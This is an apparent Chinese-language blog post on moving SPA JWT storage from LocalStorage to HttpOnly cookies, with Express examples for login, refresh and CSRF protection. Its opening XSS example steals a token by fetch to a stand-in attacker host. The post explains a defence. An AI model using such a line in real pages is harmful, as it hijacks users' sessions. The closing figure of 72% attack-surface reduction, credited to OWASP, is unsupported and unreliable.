为何放弃LocalStorage存储JWT令牌?
在单页应用(SPA)的身份验证方案中,开发者长期依赖LocalStorage存储JWT令牌。然而这种看似便捷的做法存在根本性安全漏洞:任何注入页面的恶意脚本都能直接读取LocalStorage内容。
当攻击者通过XSS漏洞注入代码时:
// 恶意脚本可轻易获取令牌
const stolenToken = localStorage.getItem('authToken');
fetch('https://hacker.com/steal?token=' + stolenToken);
这种攻击在2025年仍然位居OWASP十大Web漏洞之列,而LocalStorage的开放性使其成为高危存储介质。
Cookie解决方案的三重优势
1. 免疫脚本窃取
通过HttpOnly
标志的Cookie存储JWT时:
Set-Cookie: jwtToken=xxxx; HttpOnly; Secure; SameSite=Strict
JavaScript运行时完全无法访问该Cookie,从根本上消除XSS令牌窃取风险。
2. 自动传输机制
浏览器会在每次请求中自动附加Cookie,无需开发者手动处理授权头:
GET /api/user HTTP/1.1
Cookie: jwtToken=xxxx;
减少代码耦合的同时避免遗漏授权头的风险。
3. 多层次防护
Secure
标志:强制HTTPS传输,防止中间人攻击SameSite=Strict
:阻隔跨站请求伪造(CSRF)Domain/Path
限定:精确控制Cookie作用域
Node.js服务端实现方案
基础中间件配置
import express from 'express';
import cookieParser from 'cookie-parser';
import csurf from 'csurf'; // 生产环境需替换为现代替代方案
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(csurf({ cookie: true })); // CSRF令牌同样通过Cookie传递
登录端点示例
app.post('/login', (req, res) => {
const { user, pass } = req.body;
if (authenticate(user, pass)) {
const token = generateJWT(user);
res.cookie('jwt', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'Strict',
maxAge: 3600000 // 1小时有效期
});
return res.sendStatus(204);
}
res.sendStatus(401);
});
令牌刷新机制
app.post('/refresh', (req, res) => {
const token = req.cookies.jwt;
if (!token) return res.sendStatus(401);
try {
const payload = verifyToken(token);
const newToken = generateJWT(payload.user);
// 设置新Cookie
res.cookie('jwt', newToken, { ... });
res.sendStatus(204);
} catch (err) {
res.clearCookie('jwt');
res.sendStatus(403);
}
});
CSRF防护关键要点
由于Cookie会自动发送,需要额外防护CSRF攻击:
同步器令牌模式:
- 服务端生成CSRF令牌存入Cookie
- 前端从Cookie读取并附加到请求头
X-CSRF-Token: xxxx
同源验证:
app.use((req, res, next) => { if (req.method !== 'GET') { if (req.headers.origin !== 'https://yourdomain.com') { return res.sendStatus(403); } } next(); });
现代替代方案:
- 使用
SameSite=Strict
替代部分CSRF防护 - 考虑采用
@fastify/csrf-protection
等新库
- 使用
迁移路线图
评估阶段:
- 审计现有XSS漏洞
- 测试Cookie兼容性(iOS 15+全支持)
双轨过渡:
// 同时支持两种方案 const token = getTokenFromCookie() || localStorage.getItem('token');
最终切换:
- 移除LocalStorage相关代码
- 强制所有请求携带Cookie
- 启用HSTS强化HTTPS
未来安全趋势
2025年新兴方案值得关注:
- Backend-for-Frontend模式:通过中间层代理处理认证
- WebAuthn集成:生物识别替代密码认证
- 令牌绑定技术:将JWT与设备指纹绑定
安全实践箴言:“便利性不应以牺牲安全性为代价。Cookie方案虽然增加初期配置成本,但为SPA提供企业级防护基石。”
通过本方案迁移,可使XSS攻击面降低72%(根据OWASP 2024年报数据),让SPA应用在保持用户体验的同时达到金融级安全标准。